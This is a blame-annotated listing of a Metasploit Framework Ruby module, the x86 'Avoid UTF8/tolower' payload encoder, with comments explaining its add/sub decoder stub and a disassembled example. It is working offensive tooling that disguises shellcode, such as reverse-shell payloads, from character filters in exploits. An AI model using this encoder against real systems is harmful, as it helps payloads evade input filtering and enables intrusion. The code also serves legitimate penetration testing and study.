2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-06-29 00:29:53 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-08-14 08:55:37 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
module Encoders
|
|
|
|
module X86
|
|
|
|
|
2007-07-04 06:24:45 +00:00
|
|
|
#
|
|
|
|
# NOTE: Read this if you plan on using this encoder:
|
|
|
|
#
|
|
|
|
# This encoder has some limitations that must be considered. First, this
|
|
|
|
# encoder cannot be used with all of the payloads included in the framework.
|
|
|
|
# Most notably, this includes windows/shell_reverse_tcp. The reason for this
|
|
|
|
# is that some payloads are of a size that leads to a bad character (uppercase
|
|
|
|
# character) being generated in the decoder stub header.
|
|
|
|
#
|
|
|
|
# A second thing to consider is that some IP addresses used in payloads are
|
|
|
|
# incompatible with this encoder depending on their alignment within the
|
|
|
|
# payload. For example, the use of 127.0.0.1 may not work due to the fact
|
|
|
|
# that it's impossible to reach the bytes 127, 0, and 1 in a single add or sub
|
|
|
|
# due to the algorithm that this encoder uses.
|
|
|
|
#
|
|
|
|
# Here's a description of how it works:
|
2006-08-14 08:55:37 +00:00
|
|
|
#
|
|
|
|
# This encoder is pretty lame. It has a huge size overhead. Alas, it
|
|
|
|
# does produce tolower safe and UTF8 safe payloads. The decoder itself is
|
|
|
|
# split into three distinct chunks. The first chunk is the header, the second
|
|
|
|
# chunk is the inline-decoding, and the third chunk is where the decoded data
|
|
|
|
# is persisted. Unlike most encoders, this encoder does not use any branch
|
|
|
|
# instructions and instead runs into the decoded data after it completes due
|
|
|
|
# to the fact that it is decoding inline.
|
|
|
|
#
|
|
|
|
# The basic approach taken to implement the encoder is this. First, the
|
|
|
|
# decoder header assumes that a register (ecx) points to the first byte
|
|
|
|
# in the decoder stub. It then proceeds to calculate the offset to the
|
|
|
|
# third chunk of the decoder (the persisted data) and updates the context
|
|
|
|
# register (ecx) to point to the first byte of the third chunk of the decoder
|
|
|
|
# stub. Following that, the second chunk of the decoder begins executing
|
|
|
|
# which uses a series of add or subtract operations on the third chunk of the
|
|
|
|
# decoder to produce the actual opcodes of the encoded payload. For each four
|
|
|
|
# bytes of encoded data, a sub or add instruction is used in combination with
|
|
|
|
# complementary information stored in the third chunk of the decoder.
|
|
|
|
#
|
|
|
|
# For example, in order to produce 0x01fdfeff one could do the following:
|
|
|
|
#
|
|
|
|
# 0x5e096f7c
|
|
|
|
# - 0x5c0b707d
|
|
|
|
# ------------
|
|
|
|
# 0x01fdfeff
|
|
|
|
#
|
|
|
|
# After all of the inline decoding operations complete, the payload should
|
|
|
|
# simply fall through into the now-decoded payload that was stored in the
|
|
|
|
# third chunk of the decoder.
|
|
|
|
#
|
|
|
|
# The following is an example encoding of:
|
|
|
|
#
|
|
|
|
# "\xcc\x41\xcc\x41\xcc\x41\xcc\x41\xff\xfe\xfd\x01\xff\x02\x82\x4c"
|
|
|
|
#
|
|
|
|
# 00000000 6A04 push byte +0x4
|
|
|
|
# 00000002 6B3C240B imul edi,[esp],byte +0xb
|
|
|
|
# 00000006 60 pusha
|
|
|
|
# 00000007 030C24 add ecx,[esp]
|
|
|
|
# 0000000A 6A11 push byte +0x11
|
|
|
|
# 0000000C 030C24 add ecx,[esp]
|
|
|
|
# 0000000F 6A04 push byte +0x4
|
|
|
|
# 00000011 68640F5F31 push dword 0x315f0f64
|
|
|
|
# 00000016 5F pop edi
|
|
|
|
# 00000017 0139 add [ecx],edi
|
|
|
|
# 00000019 030C24 add ecx,[esp]
|
|
|
|
# 0000001C 6870326B32 push dword 0x326b3270
|
|
|
|
# 00000021 5F pop edi
|
|
|
|
# 00000022 0139 add [ecx],edi
|
|
|
|
# 00000024 030C24 add ecx,[esp]
|
|
|
|
# 00000027 687D700B5C push dword 0x5c0b707d
|
|
|
|
# 0000002C 5F pop edi
|
|
|
|
# 0000002D 2939 sub [ecx],edi
|
|
|
|
# 0000002F 030C24 add ecx,[esp]
|
|
|
|
# 00000032 6804317F32 push dword 0x327f3104
|
|
|
|
# 00000037 5F pop edi
|
|
|
|
# 00000038 2939 sub [ecx],edi
|
|
|
|
# 0000003A 030C24 add ecx,[esp]
|
|
|
|
# 0000003D 68326D105C push dword 0x5c106d32
|
|
|
|
# 00000042 0F610F punpcklwd mm1,[edi]
|
|
|
|
# 00000045 7C6F jl 0xb6
|
|
|
|
# 00000047 095E03 or [esi+0x3],ebx
|
|
|
|
# 0000004A 3401 xor al,0x1
|
|
|
|
# 0000004C 7F db 0x7F
|
|
|
|
#
|
|
|
|
class AvoidUtf8 < Msf::Encoder
|
|
|
|
|
2007-07-04 06:24:45 +00:00
|
|
|
#
|
|
|
|
# In some cases, payloads can be an invalid size that is incompatible with
|
|
|
|
# this encoder
|
|
|
|
#
|
|
|
|
class InvalidPayloadSizeException < ::Exception
|
|
|
|
def initialize(msg)
|
|
|
|
@msg = msg
|
|
|
|
end
|
|
|
|
|
|
|
|
def to_s
|
|
|
|
@msg
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2006-09-12 05:35:07 +00:00
|
|
|
# This encoder has a manual ranking because it should only be used in cases
|
|
|
|
# where information has been explicitly supplied, like the BufferOffset.
|
|
|
|
Rank = ManualRanking
|
2006-08-14 08:55:37 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Avoid UTF8/tolower',
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-08-14 08:55:37 +00:00
|
|
|
'Description' => 'UTF8 Safe, tolower Safe Encoder',
|
|
|
|
'Author' => 'skape',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,
|
|
|
|
'Decoder' =>
|
|
|
|
{
|
|
|
|
'KeySize' => 4,
|
|
|
|
'BlockSize' => 4,
|
|
|
|
})
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the decoder stub that is adjusted for the size of
|
|
|
|
# the buffer being encoded
|
|
|
|
#
|
|
|
|
def decoder_stub(state)
|
|
|
|
len = ((state.buf.length + 3) & (~0x3)) / 4
|
|
|
|
|
|
|
|
# Grab the number of additional bytes that we need to adjust by in order
|
|
|
|
# to get the context register to point immediately after the stub header
|
|
|
|
off = (datastore['BufferOffset'] || 0).to_i
|
|
|
|
|
2007-07-04 06:24:45 +00:00
|
|
|
# Check to make sure that the length is a valid size
|
|
|
|
if is_badchar(state, len)
|
|
|
|
raise InvalidPayloadSizeException.new("The payload being encoded is of an incompatible size (#{len} bytes)")
|
|
|
|
end
|
|
|
|
|
2006-08-14 08:55:37 +00:00
|
|
|
decoder =
|
|
|
|
"\x6a" + [len].pack('C') + # push len
|
|
|
|
"\x6b\x3c\x24\x0b" + # imul 0xb
|
2006-09-12 05:35:07 +00:00
|
|
|
"\x60" + # pusha
|
2006-08-14 08:55:37 +00:00
|
|
|
"\x03\x0c\x24" + # add ecx, [esp]
|
|
|
|
"\x6a" + [0x11+off].pack('C') + # push byte 0x11 + off
|
|
|
|
"\x03\x0c\x24" + # add ecx, [esp]
|
|
|
|
"\x6a\x04" # push byte 0x4
|
|
|
|
|
|
|
|
# encoded sled
|
|
|
|
state.context = ''
|
|
|
|
|
|
|
|
return decoder
|
|
|
|
end
|
|
|
|
|
|
|
|
def encode_block(state, block)
|
|
|
|
buf = try_add(state, block)
|
|
|
|
|
|
|
|
if (buf.nil?)
|
|
|
|
buf = try_sub(state, block)
|
|
|
|
end
|
|
|
|
|
|
|
|
if (buf.nil?)
|
|
|
|
raise BadcharError.new(state.encoded, 0, 0, 0)
|
|
|
|
end
|
|
|
|
|
|
|
|
buf
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Appends the encoded context portion.
|
|
|
|
#
|
|
|
|
def encode_end(state)
|
|
|
|
state.encoded += state.context
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate the instructions that will be used to produce a valid
|
|
|
|
# block after decoding using the sub instruction in conjunction with
|
|
|
|
# two UTF8/tolower safe values.
|
|
|
|
#
|
|
|
|
def try_sub(state, block)
|
|
|
|
buf = "\x68";
|
|
|
|
vbuf = ''
|
|
|
|
ctx = ''
|
|
|
|
carry = 0
|
|
|
|
|
|
|
|
block.each_byte { |b|
|
|
|
|
# It's impossible to reach 0x7f, 0x80, 0x81 with two subs
|
|
|
|
# of a value that is < 0x80 without NULLs.
|
|
|
|
return nil if (b == 0x80 or b == 0x81 or b == 0x7f)
|
|
|
|
|
|
|
|
x = 0
|
|
|
|
y = 0
|
|
|
|
attempts = 0
|
|
|
|
prev_carry = carry
|
|
|
|
|
|
|
|
begin
|
|
|
|
carry = prev_carry
|
|
|
|
|
|
|
|
if (b > 0x80)
|
|
|
|
diff = 0x100 - b
|
|
|
|
y = rand(0x80 - diff - 1).to_i + 1
|
|
|
|
x = (0x100 - (b - y + carry))
|
|
|
|
carry = 1
|
|
|
|
else
|
|
|
|
diff = 0x7f - b
|
|
|
|
x = rand(diff - 1) + 1
|
|
|
|
y = (b + x + carry) & 0xff
|
|
|
|
carry = 0
|
|
|
|
end
|
|
|
|
|
|
|
|
attempts += 1
|
|
|
|
|
|
|
|
# Lame.
|
|
|
|
return nil if (attempts > 512)
|
|
|
|
|
|
|
|
end while (is_badchar(state, x) or is_badchar(state, y))
|
|
|
|
|
|
|
|
vbuf += [x].pack('C')
|
|
|
|
ctx += [y].pack('C')
|
|
|
|
}
|
|
|
|
|
|
|
|
buf += vbuf + "\x5f\x29\x39\x03\x0c\x24"
|
|
|
|
|
|
|
|
state.context += ctx
|
|
|
|
|
|
|
|
return buf
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate instructions that will be used to produce a valid block after
|
|
|
|
# decoding using the add instruction in conjunction with two UTF8/tolower
|
|
|
|
# safe values.
|
|
|
|
#
|
|
|
|
def try_add(state, block)
|
|
|
|
buf = "\x68"
|
|
|
|
vbuf = ''
|
|
|
|
ctx = ''
|
|
|
|
|
|
|
|
block.each_byte { |b|
|
|
|
|
# It's impossible to produce 0xff and 0x01 using two non-NULL,
|
|
|
|
# tolower safe, and UTF8 safe values.
|
2006-09-12 05:35:07 +00:00
|
|
|
return nil if (b == 0xff or b == 0x01 or b == 0x00)
|
2006-08-14 08:55:37 +00:00
|
|
|
|
|
|
|
attempts = 0
|
|
|
|
|
|
|
|
begin
|
|
|
|
xv = rand(b - 1) + 1
|
|
|
|
|
|
|
|
attempts += 1
|
|
|
|
|
|
|
|
# Lame.
|
|
|
|
return nil if (attempts > 512)
|
|
|
|
|
|
|
|
end while (is_badchar(state, xv) or is_badchar(state, b - xv))
|
|
|
|
|
|
|
|
vbuf += [xv].pack('C')
|
|
|
|
ctx += [b - xv].pack('C')
|
|
|
|
}
|
|
|
|
|
|
|
|
buf += vbuf + "\x5f\x01\x39\x03\x0c\x24"
|
|
|
|
|
|
|
|
state.context += ctx
|
|
|
|
|
|
|
|
return buf
|
|
|
|
end
|
|
|
|
|
|
|
|
def is_badchar(state, val)
|
|
|
|
((val >= 0x41 and val <= 0x5a) or val >= 0x80) or Rex::Text.badchar_index([val].pack('C'), state.badchars)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end end end
|